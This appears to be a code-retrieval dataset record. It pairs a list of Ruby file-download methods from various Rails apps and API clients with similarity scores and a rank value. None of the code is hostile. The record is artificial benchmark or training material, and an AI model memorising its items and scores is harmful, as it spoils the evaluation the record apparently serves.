"def get_file(file_id, file_type)\n\t\tresponse = self.auth_get(\"/weboncampus/getFile.do?tipo=#{file_type}&id=#{file_id}\")\n\t\tfilename = response[\"content-disposition\"].match(/filename=\"(.*)\"/)[1]\n\t\tlength = response[\"Content-Length\"]\n\t\treturn filename, length, response.body\n\tend",
"def download_to_server full_url, path, ext\n require 'open-uri'\n\n user_directory = IMAGE_DIRECTORY + \"/#{session[:access_token].params['edam_userId']}\"\n unless File.directory? IMAGE_DIRECTORY\n Dir::mkdir( IMAGE_DIRECTORY ) # 第二パラメータ省略時のパーミッションは0777\n end\n\n unless File.directory? user_directory\n Dir::mkdir( user_directory ) # 第二パラメータ省略時のパーミッションは0777\n end\n\n file_name = user_directory + \"/\" + path + '.' + ext\n\n # TODO is this instance variable visible from the controller which include this module?\n @selected_file << file_name\n unless File.exists?(file_name)\n File.open(file_name, 'wb') do |output|\n # Download image\n # TODO: handle if session access token is nil\n open(full_url + \"?auth=#{session[:access_token].token}\") do |input|\n output << input.read\n end\n end\n end\n end",
"def download_file\n @user = User.find_by_dtoken(params[:dtoken])\n @os = params[:os]\n if @user.nil?\n redirect_to :action => download\n else\n download_file = \"#{BINARIES[@os]}\"\n download_loc = \"#{DOWNLOAD_LOC}/#{download_file}\"\n # download_loc = \"domosaics.jar\" if @os == 'unknown'\n send_file(\"#{download_loc}\", :filename => \"#{BINARIES[@os]}\")\n # EMAIL TO ANGSDT TEAM:\n UserMailer.download_notification(@user).deliver\n #render :text => \"You are in the download area... !\"\n end\n end",
"def download_file(method, endpoint, params={})\n params.merge!({ :token => self.token })\n request = self.send(\"format_#{method}\", \"#{@url.path}/#{endpoint}\", params)\n file = Tempfile.new(\"crocodoc-download-#{params[:uuid]}\")\n # use streaming to keep memory usage sane\n @http.request(request) do |response|\n response.read_body {|chunk| file.write chunk }\n end\n file.close\n file\n end",
"def url(path)\n uri, details = @api.cmd_to_url(:file_download, path: remote_file(path))\n @api.full_uri(uri, details[:params])\n end",
"def file_download\n blob_cache(:file_download) do\n raw_download = tiddlywiki_file.download\n is_compressed? ? SiteCommon.decompress_html(raw_download) : raw_download\n end\n end",
"def set_download\n @download = Download.find(params[:id])\n end",
"def set_download\n @download = Download.find(params[:id])\n end",
"def download(\n file_path\n )\n @call_params[:file_path] = file_path\n @client.call(self.class, __callee__.to_s, @call_params)\n end",
"def file_url(context, inline, generate_event = true)\n if challenge_file?\n token = CHALLENGE_BOT_TOKEN\n result = DNAnexusAPI.new(CHALLENGE_BOT_TOKEN).call(\n \"system\",\n \"describeDataObjects\",\n objects: [dxid],\n )[\"results\"][0]\n project = result[\"describe\"][\"project\"]\n else\n token = context.token\n project = self.project\n end\n\n opts = {\n project: project,\n preauthenticated: true,\n filename: name,\n duration: 86_400,\n }\n inline_attribute = inline.present? ? \"?inline\" : \"\"\n\n api = DNAnexusAPI.new(token)\n url = api.file_download(dxid, opts)[\"url\"] + inline_attribute\n Event::FileDownloaded.create_for(self, context.user) if generate_event\n\n url\n end",
"def set_download\n @download = Download.find(params[:id])\n end",
"def download_file(uri, dest_dir)\n begin\n u = URI.parse(uri)\n fname, ext = File.basename(u.path).scan(/(.+)\\.(.+)/).flatten\n dest_file = File.join(dest_dir, \"#{fname}_#{Time.now.to_i}.#{ext}\")\n res = send_http_get_request(uri)\n rescue Net::ReadTimeout, IOError, EOFError, Errno::ECONNRESET,\n Errno::ECONNABORTED, Errno::EPIPE, Net::OpenTimeout,\n Errno::ETIMEDOUT => e\n print_error(\"#{e.message}: #{uri}\")\n return\n end\n\n save_file(res.body, dest_file)\n print_status(\"Download completed for #{uri}\")\n end",
"def download_file(file)\r\n #name_file = \"20141010MGPPrezzi.xml\"\r\n name_file = parse_name_file file\r\n path_xml = crea_dir_per_xml\r\n full_path = path_xml+name_file\r\n\r\n #entro dentro la directory nel server ftp\r\n @ftp.chdir(\"/MercatiElettrici/#{file}\")\r\n\r\n #scarico nella directory corrente il file\r\n begin\r\n ftp.getbinaryfile(name_file, full_path)\r\n puts \"Download #{name_file}\"\r\n return full_path\r\n rescue\r\n return false\r\n end\r\n end",
"def download!(file)\n login\n warn \"DEBUG: downloading #{file}\" if debug\n if dry_run\n warn \"DEBUG: download skipped for dry run\" if dry_run\n filename = file\n body = \"no body\"\n else\n page = agent.get(file)\n filename = page.filename\n body = page.body\n end\n [ filename, body ]\n end",
"def file_id_to_file(file_id)\n telegram_file_path = bot.api.get_file(file_id: file_id)[\"result\"][\"file_path\"]\n telegram_file_uri = \"https://api.telegram.org/file/bot#{ ENV['BOT_API_TOKEN'] }/#{ telegram_file_path }\"\n file_from_uri(telegram_file_uri)\n end",
"def download_ais(prog_id)\n return download_data(\"http://ais.channel4.com/asset/#{prog_id}\")\n end",
"def download\n @assessment = Assessment.find(params[:id])\n if current_user.role.name.eql?('Support Team')\n @assessment.update_attribute(:status,5)\n end\n send_file process_zip(@assessment,@assessment.asset)\n end",
"def download_file(uristr)\n uri = URI.parse(uristr) # parse the url string\n http = Net::HTTP.new(uri.host, uri.port) # create a connection to the http server\n http.open_timeout = 5\n\n DocumentHelper.verify_ssl(uristr, http)\n\n req = Net::HTTP::Get.new(uri)\n res = http.request(req) # get the response\n\n status_code = res.code\n if status_code != '200' # checking status code\n raise \"Document editing service returned status: #{status_code}\"\n end\n data = res.body # and take its body\n\n if data == nil\n raise 'stream is null'\n end\n data\n end",
"def download_file\n send_file(@static_page.custom_file.path,\n disposition: 'attachment; filename=\"' + @static_page.custom_file.file.filename + '\"',\n type: @static_page.custom_file.file.content_type,\n url_based_filename: true)\n end",
"def download_exported_file_download(opts = {})\n download_exported_file_download_with_http_info(opts)\n nil\n end",
"def download_asset(asset)\n @user_api.file_download(\n asset.dxid,\n filename: asset.name,\n project: asset.project,\n preauthenticated: true,\n )[\"url\"]\n end",
"def download_file(file_type)\n temp_file = File.new(public_url.split('/').last, \"wb\")\n remote_data = open(URI.parse(public_url))\n temp_file.write(remote_data.read)\n update_attributes(file_type => temp_file)\n File.delete temp_file\n end",
"def file_set_url(file_set_id)\n \"https://#{ENV['SERVER_NAME']}/downloads/#{file_set_id}\"\n end",
"def download_exported_file_download_0(opts = {})\n download_exported_file_download_0_with_http_info(opts)\n nil\n end",
"def download_single(content_blob)\n @content_blob = content_blob\n\n respond_to do |format|\n format.html { handle_download(params[:disposition] || 'attachment') }\n end\n end",
"def show\n file_name = CamaleonCms::Post.find(params[:id]).decorate.the_field('downloads_file')\n f_path = CamaleonCmsLocalUploader::private_file_path(file_name, current_site)\n if File.exist?(f_path)\n Download.create({\n user_id: current_user.id,\n post_id: params[:id],\n metadata: {\n ip: request.ip,\n user_agent: request.user_agent,\n file_name: file_name\n }\n })\n\n send_file f_path, disposition: 'inline'\n else\n raise ActionController::RoutingError, 'File not found'\n end\n end",
"def download_url(filename)\n url(response_content_disposition: %Q{attachment; filename=\"#{filename}\"})\n end",
"def meeting_recordings_download_file(download_url)\n raise \"You must use JWT client\" unless self.class == Zoom::Clients::JWT\n file=Tempfile.create\n file.binmode\n response = HTTParty.get(\"#{download_url}?access_token=#{access_token}\",\n stream_body: true,\n follow_redirects: true\n ) do |fragment|\n if fragment.code == 200\n file.write(fragment)\n elsif fragment.code != 302\n raise StandardError, \"Non-success status code while streaming #{fragment.code}\"\n end\n end\n file\n end",
"def download(path)\n if File.exists?(path)\n puts \"#{path} already exists\"\n\n return\n end\n\n File.open(path, \"w\") do |file|\n file.binmode\n HTTParty.get(self['href'], stream_body: true) do |fragment|\n file.write(fragment)\n end\n end\n end",
"def get_file(url); end",
"def get_file(path, options={})\n remove_file path\n resource = File.join(prefs[:remote_host], prefs[:remote_branch], 'files', path)\n replace_file path, download_resource(resource, options)\nend",
"def download_file(test = false)\n @update_file = Tempfile.new(['elasticsearch_update_file', @download.extension])\n\n @log.info('Downloading file from url.')\n\n write_file_from_url(@update_file, @download.url) unless test\n\n @update_file\n end",
"def report_file_download(report)\n\t\t\tpost= { \"token\" => @token, \"report\" => report }\n\t\t\tfile = nil\n\t\t\tfile=nessus_http_request('file/report/download', post)\n\t\t\tif file.nil?\n\t\t\t\treturn\n\t\t\tend\n\t\t\treturn file\n\t\tend"
] | [
"0.8333401",
"0.81282365",
"0.7895451",
"0.78229284",
"0.78001887",
"0.7737246",
"0.7664683",
"0.75497466",
"0.75373644",
"0.7442591",
"0.7435666",
"0.7383251",
"0.7301056",
"0.72994864",
"0.7259955",
"0.72374487",
"0.71839213",
"0.7178123",
"0.71344835",
"0.71321404",
"0.71189094",
"0.70928216",
"0.708176",
"0.7074135",
"0.70438725",
"0.70301163",
"0.69993675",
"0.69705063",
"0.6953594",
"0.69520986",
"0.6928863",
"0.6918416",
"0.6916635",
"0.689566",
"0.68639815",
"0.6854047",
"0.6839064",
"0.683822",
"0.6820484",
"0.6816407",
"0.6804731",
"0.67974126",
"0.6785885",
"0.67833257",
"0.67784214",
"0.6775504",
"0.6767705",
"0.6760807",
"0.6750438",
"0.67482054",
"0.67404795",
"0.6733869",
"0.6719078",
"0.6716931",
"0.6682167",
"0.66667455",
"0.66511375",
"0.66499156",
"0.6648334",
"0.6632535",
"0.6626376",
"0.662449",
"0.6621383",
"0.66055447",
"0.6604772",
"0.66039765",
"0.6584758",
"0.6583668",
"0.6580714",
"0.65749013",
"0.65645826",
"0.65490764",
"0.6543126",
"0.6537702",
"0.6537702",
"0.6533346",
"0.6533275",
"0.6520208",
"0.65182835",
"0.6504498",
"0.64833826",
"0.64794785",
"0.64404875",
"0.64386284",
"0.6434632",
"0.6428885",
"0.6426086",
"0.6423763",
"0.6418002",
"0.6415752",
"0.6410622",
"0.6398131",
"0.63943",
"0.6388146",
"0.63825285",
"0.6378055",
"0.6376079",
"0.63691664",
"0.63614726",
"0.6352326"
] | 0.65532136 | 71 |
move file from personal vault to "Shared Files" folder | def share_file
id = params[:id]
mixpanel_tab_event("My Vault", "Share File")
session[:current_folder] = params[:folder]
client = user_client
# get shared folder, then move file into shared folder
sharedFolder = client.folder_from_path("#{session[:userinfo]['info']['name']} - Shared Files")
client.move_file(id, sharedFolder)
flash[:notice] = "File shared with company employee!"
redirect_to dashboard_id_path(sharedFolder.id)
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def move_file\n\n destFolder = params[:dest]\n targetFile = params[:file_id]\n client = user_client\n mixpanel_tab_event(\"My Vault\", \"Move File - Drag & Drop\")\n\n # get folder\n folder = Rails.cache.fetch(\"/folder/#{session[:box_id]}/my_folder/#{params[:dest]}\", :expires_in => 10.minutes) do\n client.folder_from_id(params[:dest])\n end\n\n begin\n # get shared folder, then move file into shared folder\n client.move_file(targetFile, destFolder)\n flash[:notice] = \"File moved into \\\"#{folder.name}\\\"\"\n rescue\n flash[:error] = \"Error: File could not be moved\"\n end\n\n redirect_to dashboard_id_path(session[:current_folder])\n end",
"def unshare_file\n\n id = params[:id]\n mixpanel_tab_event(\"My Vault\", \"Share File\")\n session[:current_folder] = params[:folder]\n client = user_client\n\n # get my folder, then move file into my folder\n myFolder = client.folder_from_path('My Files')\n client.move_file(id, myFolder)\n flash[:notice] = \"File moved to private folder!\"\n\n redirect_to dashboard_id_path(myFolder.id)\n end",
"def move_file\n\n end",
"def move_folder\n\n destFolder = params[:dest]\n targetFolder = params[:folder_id]\n client = user_client\n mixpanel_tab_event(\"My Vault\", \"Move Folder - Drag & Drop\")\n\n # get folder\n folder = Rails.cache.fetch(\"/folder/#{session[:box_id]}/my_folder/#{params[:dest]}\", :expires_in => 10.minutes) do\n client.folder_from_id(params[:dest])\n end\n\n begin\n # get shared folder, then move file into shared folder\n client.move_folder(targetFolder, destFolder)\n flash[:notice] = \"Folder moved into \\\"#{folder.name}\\\"\"\n rescue\n flash[:error] = \"Error: Folder could not be moved\"\n end\n\n redirect_to dashboard_id_path(session[:current_folder])\n end",
"def google_move_file(client)\n notify \"Command : Google move file\"\n # result : error message\n # google treat folders as files\n src_files = move_copy_file_source\n dest_path = CGI::unescape(@fields[:dst_path].to_s)\n result = client.move_files(src_files,dest_path)\n\n end",
"def move_file(src, dest)\n FileUtils.mv(src, dest, force: false)\nrescue Errno::EACCES\n FileUtils.cp_r(src, dest)\n FileUtils.rm_rf(src)\nend",
"def mv(from_location, to_location)\n @client.file_move(from_location, to_location)\n rescue\n puts $! if @@verbose\n nil\n end",
"def move(cloud_file, to_path, root=\"auto\")\n payload = {\n root: root,\n from_path: cloud_file.path,\n to_path: to_path\n }\n\n connexion = Dropbox.start(:move, access_token)\n res = connexion.post do |req|\n req.url \"fileops/move\"\n req.body = payload\n end\n\n response = format_response(res)\n #tree_cache(response)\n end",
"def test_move_file\n remote_file_name = 'TestMoveFileSrc.docx'\n\n upload_file File.join(local_test_folder, local_file), remote_data_folder + '/' + remote_file_name\n\n request = MoveFileRequest.new(dest_path: remote_test_out + '/TestMoveFileDest_' + generate_uuid + '.docx', src_path: remote_data_folder + '/' + remote_file_name)\n\n @words_api.move_file(request)\n end",
"def move_to_trash!(remove_empty_dir: true)\n curr_path, = file_path_and_role_name\n unless curr_path\n raise FsException::Action, \"Move to trash not allowed. File not accessible with current roles: #{curr_path}\"\n end\n\n dt = DateTime.now.to_i\n new_file_name = \"#{file_name}--#{dt}\"\n move_to trash_path, new_file_name\n\n return unless curr_path && is_a?(ArchivedFile) && remove_empty_dir\n\n NfsStore::Archive::Mounter.remove_empty_archive_dir(curr_path)\n end",
"def reshare dir, host\n if File.exist? \"#{dir}/#{host}/.completed\"\n `share -F nfs -o ro=#{host},anon=0 #{dir}/#{host} > /dev/null 2>&1`\n end\nend",
"def move_file\n source_file = Item.new(Path.new(params[:source_file]))\n dest_file = Item.new(Path.new(params[:dest_file]))\n\n response = {}\n if source_file.path.to_s == dest_file.path.to_s\n response[:msg] = \"Same file\"\n render json: response, status: 200\n return\n end\n\n response[:source_file] = source_file\n response[:dest_file] = dest_file\n if source_file.move_to(dest_file)\n response[:msg] = \"Success\"\n render json: response, status: 200\n else\n response[:msg] = \"Fail\"\n render json: response, status: 402\n end\n end",
"def move(command)\n src = clean_up(command[1])\n dest = clean_up(command[2])\n pp @client.files.move(src, dest)\n end",
"def post_move(filename,src_repo,data)\n curl_post(\"#{self.host}/api2/repos/#{src_repo}/file/?p=#{filename}\",data).body_str\n end",
"def preserve_folder(aReleaseFolder,aSharedFolder)\t\n\t\taReleaseFolder = File.join(release_path,aReleaseFolder)\n\t\taSharedFolder = File.join(shared_path,aSharedFolder)\n\t\trelease_exists = file_exists?(aReleaseFolder)\n\t\tshared_exists = file_exists?(aSharedFolder)\n\t\tif shared_exists\n\t\t\trun \"rm -rf #{aReleaseFolder}\" if release_exists\n\t\telse\n\t\t\trun \"mv #{aReleaseFolder} #{aSharedFolder}\" if release_exists\n\t\tend\n\t\tensure_link(\"#{aSharedFolder}\",\"#{aReleaseFolder}\",nil,\"#{user}:#{apache_user}\")\n\tend",
"def elegant_move(file_name, destination_name)\n # Generate full paths\n destination = \"#{ENV['HOME']}/#{destination_name}\"\n file = \"#{ENV['HOME']}/dotfiles/#{file_name}\"\n\n # If the destination already exists\n if (File.exists?(destination) or File.symlink?(destination))\n # If the destination has the same content as the file, skip\n if files_are_same(destination, file)\n puts \"#{file_name} - skipping\".yellow\n else\n # Create the backup dir if doesn't already exist\n `mkdir -p ~/.backup`\n\n # Else backup the old file\n backup_path = \".backup/#{destination_name}_#{Time.now.to_f}\"\n backup = \"#{ENV['HOME']}/#{backup_path}\"\n puts \"#{file_name} - moving old\".green\n # Ignore errors we may get in case of dodgy symlinks\n `mv #{destination} #{backup} 2> /dev/null`\n \n # Then link the new file\n symlink file, destination, :force => true, :verbose => false\n end\n else\n # Else link the new file\n puts \"#{file_name} - creating\".green\n symlink file, destination, :force => true, :verbose => false\n end\nend",
"def upload(local_path, dest_path)\n local_file_name = File.basename local_path\n dest_dir_name = File.dirname dest_path\n ssh.send_file local_path, \"/tmp/#{local_file_name}\"\n ssh.exec! \"mkdir --parents #{dest_dir_name}\", sudo: true\n ssh.exec! \"mv /tmp/#{local_file_name} #{dest_path}\", sudo: true\n return dest_path\n end",
"def file_move(from_path, to_path)\n params = {\n \"root\" => @root,\n \"from_path\" => format_path(from_path, false),\n \"to_path\" => format_path(to_path, false),\n }\n response = @session.do_post build_url(\"/fileops/move\", params)\n parse_response(response)\n end",
"def disk_mv(src_file, dst_file, options)\n mover = options[:git] ? 'git mv' : 'mv'\n command = \"#{mover} '#{src_file.path}' '#{dst_file.path}'\"\n system(command) || raise(InputError, \"#{command} failed\")\n end",
"def move_opt_chef(src, dest)\n converge_by(\"moving all files under #{src} to #{dest}\") do\n FileUtils.rm_rf dest\n raise \"rm_rf of #{dest} failed\" if ::File.exist?(dest) # detect mountpoints that were not deleted\n FileUtils.mv src, dest\n end\nrescue => e\n # this handles mountpoints\n converge_by(\"caught #{e}, falling back to copying and removing from #{src} to #{dest}\") do\n begin\n FileUtils.rm_rf dest\n rescue\n nil\n end # mountpoints can throw EBUSY\n begin\n FileUtils.mkdir dest\n rescue\n nil\n end # mountpoints can throw EBUSY\n FileUtils.cp_r Dir.glob(\"#{src}/*\"), dest\n FileUtils.rm_rf Dir.glob(\"#{src}/*\")\n end\nend",
"def mv srcpath, dstpath\n end",
"def move(from_path, to_path, opts = {})\n input_json = {\n from_path: from_path,\n to_path: to_path,\n }\n response = @session.do_rpc_endpoint(\"/#{ @namespace }/move\", input_json)\n Dropbox::API::File.from_json(Dropbox::API::HTTP.parse_rpc_response(response))\n end",
"def share_folder(location, name, box)\n if location\n box.vm.share_folder(name, name, location, :nfs => true)\n end\nend",
"def move_from_remote(remote_file, local_path)\n\t\tcopy_from_remote(remote_file, local_path)\n\t\tdelete_remote(remote_file)\n\tend",
"def upload_file_to_guest(local_path, guest_path, quiet=false)\n\n # 1 copy to tmp location in .ievms\n FileUtils.cp local_path, File.join(IEVMS_HOME,File.basename(local_path))\n\n # 2 run cp command in machine\n log_stdout \"Copying #{local_path} to #{guest_path}\", quiet\n guestcontrol_exec \"cmd.exe\", \"cmd.exe /c copy \\\"E:\\\\#{File.basename(local_path)}\\\" \\\"#{guest_path}\\\"\"\n\n # 3 remove tmp file in .ievms\n FileUtils.rm File.join(IEVMS_HOME,File.basename(local_path))\n end",
"def test_post_move_file\n\n src = 'folder1/FileTest.pdf'\n dest = 'folder3/folder1/FileTest.pdf'\n versionId = nil\n storage = 'First Storage'\n destStorage = 'First Storage'\n request = PostMoveFileRequest.new(src, dest, versionId, storage, destStorage)\n\n result = @storage_api.post_move_file(request)\n assert result.code == 200, 'Error while moving document'\n\n end",
"def mv(srcpath,dstpath)\n FileUtils.mv(srcpath,dstpath)\n end",
"def mv(src, dest, force: nil, noop: nil, verbose: nil, secure: nil)\n fu_output_message \"mv#{force ? ' -f' : ''} #{[src,dest].flatten.join ' '}\" if verbose\n return if noop\n fu_each_src_dest(src, dest) do |s, d|\n destent = Entry_.new(d, nil, true)\n begin\n if destent.exist?\n if destent.directory?\n raise Errno::EEXIST, d\n end\n end\n begin\n File.rename s, d\n rescue Errno::EXDEV,\n Errno::EPERM # move from unencrypted to encrypted dir (ext4)\n copy_entry s, d, true\n if secure\n remove_entry_secure s, force\n else\n remove_entry s, force\n end\n end\n rescue SystemCallError\n raise unless force\n end\n end\n end",
"def execute()\r\n FileUtils.mv(@OldFilePath, @NewFilePath)\r\n end",
"def transfer!\n create_local_directories!\n\n files_to_transfer do |local_file, remote_file|\n Logger.message \"#{storage_name} started transferring '#{ local_file }'.\"\n FileUtils.cp(\n File.join(local_path, local_file),\n File.join(remote_path, remote_file)\n )\n end\n end",
"def test_move_folder\n upload_file File.join(local_test_folder, local_file), remote_data_folder + '/TestMoveFolderSrc/TestMoveFolderSrc.docx'\n\n request = MoveFolderRequest.new(dest_path: remote_test_out + '/TestMoveFolderDest_' + generate_uuid, src_path: remote_data_folder + '/TestMoveFolderSrc')\n\n @words_api.move_folder(request)\n end",
"def move_file (new_directory_path,file)\n FileUtils.mkdir_p new_directory_path if not File.exist? new_directory_path\n if File.exist? file and File.file? file\n if File.exist? new_directory_path + file\n puts \"# - File #{file} already exists. Skipping...\"\n FileUtils.rm file\n else\n puts \"# - Moving the file: #{file} to #{new_directory_path}...\" \n FileUtils.mv file, new_directory_path\n end\n else\n raise \"Error while moving file to #{LOG_OLD_DIR}\"\n end\nend",
"def move (source_path, dest_path)\n \"mv '#{source_path}' '#{dest_path}'\"\n end",
"def move(src, dst)\n # Move should copy first then delete after copying is successfull!\n #FileUtils.cp_r(src, dst, :remove_destination => true).nil?\n FileUtils.rm_rf(src) if FileUtils.cp_r(src, dst, :remove_destination => true).nil?\n rescue Exception => e\n log 3, e\n end",
"def mv orig, dest, rm = true\n rm_rf dest unless !rm\n execute(\"mv #{orig} #{dest}\")\n end",
"def move!(entry, dest_path)\n src_path = Wide::PathUtils.relative_to_base(base_path, entry.path)\n dest_path = Wide::PathUtils.relative_to_base(base_path, dest_path)\n\n cmd = cmd_prefix.push('mv', src_path, dest_path)\n shellout(Escape.shell_command(cmd))\n\n begin\n if($? && $?.exitstatus != 0)\n entry.move!(dest_path);\n end\n rescue\n raise CommandFailed.new(\"Failed to move file #{src_path} to #{dest_path} in the Mercurial repository in #{base_path}\")\n end\n end",
"def move_to_path(target_path)\n move_to(cotta.dir(target_path))\n end",
"def replace_file!(tmp_file_path)\n # Retain the current file name and path\n orig_path = path\n orig_file_name = file_name\n\n blanked_path = path || ''\n if respond_to? :archive_file\n orig_archive_file = archive_file\n orig_file_path = File.join(blanked_path, orig_archive_file, orig_file_name)\n else\n orig_file_path = File.join(blanked_path, orig_file_name)\n end\n file_path, role_name = file_path_and_role_name\n new_trash_path = trash_path\n\n unless file_path\n raise FsException::Action, \"Replacing file not allowed. File not accessible with current roles: #{file_path}\"\n end\n\n orig_fs_path = Filesystem.nfs_store_path(role_name, container, path, file_name, archive_file: orig_archive_file)\n self.current_role_name = role_name\n\n transaction do\n # Move the current file to trash. Prevent removal of an empty directory\n # since the replacement will go back into it\n move_to_trash! remove_empty_dir: false\n\n unless self.class.trash_path?(path)\n raise FsException::Action, \"Replacing file did not move original to trash: #{orig_file_path}\"\n end\n\n trash_file_path = Filesystem.nfs_store_path(role_name, container, new_trash_path, file_name)\n unless File.exist?(trash_file_path)\n raise FsException::Action,\n \"Replacing file did not move the actual file to the trash filesystem location: #{trash_file_path}\"\n end\n\n # Resetting file name and generating new hash, mime type, etc\n self.path = orig_path\n self.file_name = orig_file_name\n self.archive_file = orig_archive_file if respond_to? :archive_file\n self.valid_path_change = true\n\n rep_fs_path = Filesystem.nfs_store_path(role_name, container, path, file_name,\n archive_file: orig_archive_file)\n unless rep_fs_path == orig_fs_path\n raise FsException::Action, \"Replacement file targeting wrong location: #{rep_fs_path}\"\n end\n\n # Move the temporary file to the original location\n move_from tmp_file_path\n\n self.file_hash = nil\n analyze_file!\n self.file_hash ||= ContainerFile.hash_for_file(rep_fs_path)\n\n # Remove the trash file\n Filesystem.remove_trash_file trash_file_path\n\n save!\n end\n\n true\n end",
"def sudo_upload(file_path, to)\n filename = File.basename(to)\n to_directory = File.dirname(to)\n execute \"mkdir -p /tmp/cap_upload\"\n upload! file_path, \"/tmp/cap_upload/#{filename}\"\n execute \"sudo mv /tmp/cap_upload/#{filename} -f #{to_directory}\"\nend",
"def cleanup_swap_dir(file)\n\n image_path = \"./public/swap/#{file}\"\n # image_path = \"../public/swap/#{file}\" # inline testing version\n\n if File.exist?(image_path)\n File.delete(image_path) # delete temp file from /public/swap\n else\n puts \"temp file does not exist!\"\n end\n\nend",
"def move\n file = session[:user].x_files.get(params[:id])\n raise RequestError.new(:file_not_found, \"File not found\") unless file\n raise RequestError.new(:bad_param, \"File not uploaded\") if !file.folder && !file.uploaded\n raise RequestError.new(:bad_param, \"Can not move the root folder\") if file.id == session[:user].root_folder.id\n source = WFolder.get(params[:source])\n raise RequestError.new(:file_not_found, \"Source not found\") unless source\n raise RequestError.new(:bad_param, \"Source is not a folder\") unless source.folder\n raise RequestError.new(:bad_access, \"No access to the source folder\") unless source.users.include? session[:user] \n raise RequestError.new(:bad_param, \"Source does not contain the file\") if source.files.include? file == false && !file.folder\n raise RequestError.new(:bad_param, \"Source does not contain the folder\") if source.childrens.include? file && file.folder\n destination = WFolder.get(params[:destination])\n raise RequestError.new(:file_not_found, \"Destination not found\") unless destination\n raise RequestError.new(:bad_param, \"Destination is not a folder\") unless destination.folder\n raise RequestError.new(:bad_access, \"No access to the destination folder\") unless destination.users.include? session[:user] \n raise RequestError.new(:bad_param, \"Destination and Source are identical\") if source.id == destination.id\n raise RequestError.new(:bad_param, \"Destination and File are identical\") if file.id == destination.id\n raise RequestError.new(:bad_param, \"File and Source are identical\") if source.id == file.id\n\n WFile.move(file, source, destination) unless file.folder\n WFolder.move(file, source, destination) if file.folder\n\n @result = { success: true }\n end",
"def mv!( from_path, to_path )\r\n got = @ndev.rpc.command( \"file rename #{from_path} #{to_path}\" )\r\n return true if got.nil? # got no error\r\n raise IOError, got.text\r\n end",
"def transfer!\n Logger.message(\"#{ self.class } started transferring \\\"#{ remote_file }\\\".\")\n create_local_directories!\n FileUtils.cp(\n File.join(local_path, local_file),\n File.join(remote_path, remote_file)\n )\n end",
"def cleanup_swap_dir(file)\n\n image_path = \"./public/swap/#{file}\"\n\n if File.exist?(image_path)\n File.delete(image_path) # delete temp file from /public/swap\n else\n puts \"temp file does not exist!\"\n end\n\nend",
"def scp_post_operations(scp_file_actual, scp_file_target)\n execute(\"mv #{scp_file_actual} #{scp_file_target}\") if self[:platform].include?('cisco_nexus')\n nil\n end",
"def move_to_trash\n source_dir = Item.new(Path.new(params[:source_dir]))\n dest_dir_path = Pathname.new(source_dir.path.dirname.to_s + \"/RESTARTED/RESTARTED_\" + source_dir.path.basename.to_s)\n\n dest_dir_string = dest_dir_path.to_s\n dir_found = false\n i = 1\n while(!dir_found)\n dest_dir = Item.new(Path.new(dest_dir_string))\n if dest_dir.exist?\n dest_dir_string = dest_dir_path.to_s + \"_#{i}\"\n i += 1\n else\n dir_found = true\n end\n end\n\n response = {}\n if !source_dir.exist?\n response[:msg] = \"No folder at location, nothing to do\"\n render json: response, status: 200\n elsif source_dir.move_to(dest_dir)\n response[:msg] = \"Success\"\n render json: response, status: 200\n else\n response[:msg] = \"Fail\"\n render json: response, status: 422\n end\n end",
"def update\n context.execute :rm, '-rf', \"#{deploy_path}/local_file/*\"\n context.upload! fetch(:repo_url), \"#{deploy_path}/local_file/#{fetch(:repo_url)}\"\n end",
"def fastlane_export(file_path)\n file_name = file_path.split(\"/\").last\n export_path = \"#{EXPORT_DIRECTORY}/#{file_name}\"\n FileUtils.rm_f(export_path)\n FileUtils.mv(file_path, export_path)\n end",
"def local_copy(source, target)\n FileUtils.mkpath(File.dirname(target))\n FileUtils.copy(source, \"#{target}.in_progress\")\n FileUtils.move(\"#{target}.in_progress\", target)\n end",
"def move_multimedia_files_to_trash\n if self.multimedia_path\n\n FileUtils.mkdir_p(dir_for_deleted)\n FileUtils.mv(Dir.glob(File.join(class_multimedia_path, self.multimedia_path, \"*.*\")), dir_for_deleted)\n\n logger.info \"Moviendo #{File.join(class_multimedia_path, self.multimedia_path, \"*.*\")} a #{dir_for_deleted}\"\n\n FileUtils.rm_rf(File.join(class_multimedia_path, self.multimedia_path))\n\n # Los videos de la webtv dejarán de funcionar porque están en el mismo directorio\n self.webtv_videos.update_all(\"published_at=NULL, document_id=NULL\") if self.respond_to?('webtv_videos')\n self.gallery_photos.update_all(\"document_id=NULL\") if self.respond_to?('gallery_photos')\n self.album.update_attributes(:document_id => nil, :draft => true) if self.respond_to?('album') && self.album\n end\n return true\n end",
"def move_file(from_source:, from_file:, to_source:, to_file:)\n response = HTTParty.get(\"#{@host}/move_file\", query: {\n source_file: \"#{from_source}:#{from_file}\",\n dest_file: \"#{to_source}:#{to_file}\",\n api_key: @api_key\n })\n \n return response.body\n end",
"def mv(name, from = DirConfig::OPEN, to = DirConfig::DEPLOY)\n agency = options[:agency]\n ::Taxi::SFTP.new(agency).move_glob(name, from, to)\n end",
"def mv(src, dst)\n FileUtils.mv(src, dst, :verbose => verbose?)\n end",
"def move(io, id, shrine_metadata: {}, **upload_options)\n if io.respond_to?(:path)\n FileUtils.mv io.path, path!(id)\n else\n FileUtils.mv io.storage.path(io.id), path!(id)\n io.storage.clean(io.storage.path(io.id)) if io.storage.clean?\n end\n path(id).chmod(permissions) if permissions\n end",
"def move_files\n source_dir = Item.new(Path.new(params[:source]))\n dest_dir = Item.new(Path.new(params[:dest]))\n type = params[:type]\n response = {}\n response[:source_dir] = source_dir\n response[:dest_dir] = dest_dir\n if source_dir.move_files_to(dest_dir, type)\n response[:msg] = \"Success\"\n render json: response, status: 200\n else\n response[:msg] = \"Fail\"\n render json: response, status: 402\n end\n end",
"def unshare\n login = params[:login]\n raise RequestError.new(:bad_param, \"Wrong login\") if login.nil? || login.length == 0\n user = User.all(login: login).first\n raise RequestError.new(:bad_param, \"User not found\") if user.nil?\n file = user.x_files_shared_to_me.get(params[:id])\n raise RequestError.new(:file_not_found, \"File not found\") unless file\n\n file = WFile.unshare_to_user(session[:user], user, WFile.get(params[:id]))\n file.update_and_save\n @result = { success: true }\n session[:user].save\n end",
"def sync\n if File.exist?(@twin_file) && FileUtils.identical?(@file, @twin_file)\n nil\n else\n origin = newer\n destination = twin_file(origin)\n FileUtils.mkdir_p(File.dirname(@twin_file))\n FileUtils.cp(origin, destination)\n @file\n end\n end",
"def move\n display_change\n File.move(@real_path, new_path, false)\n end",
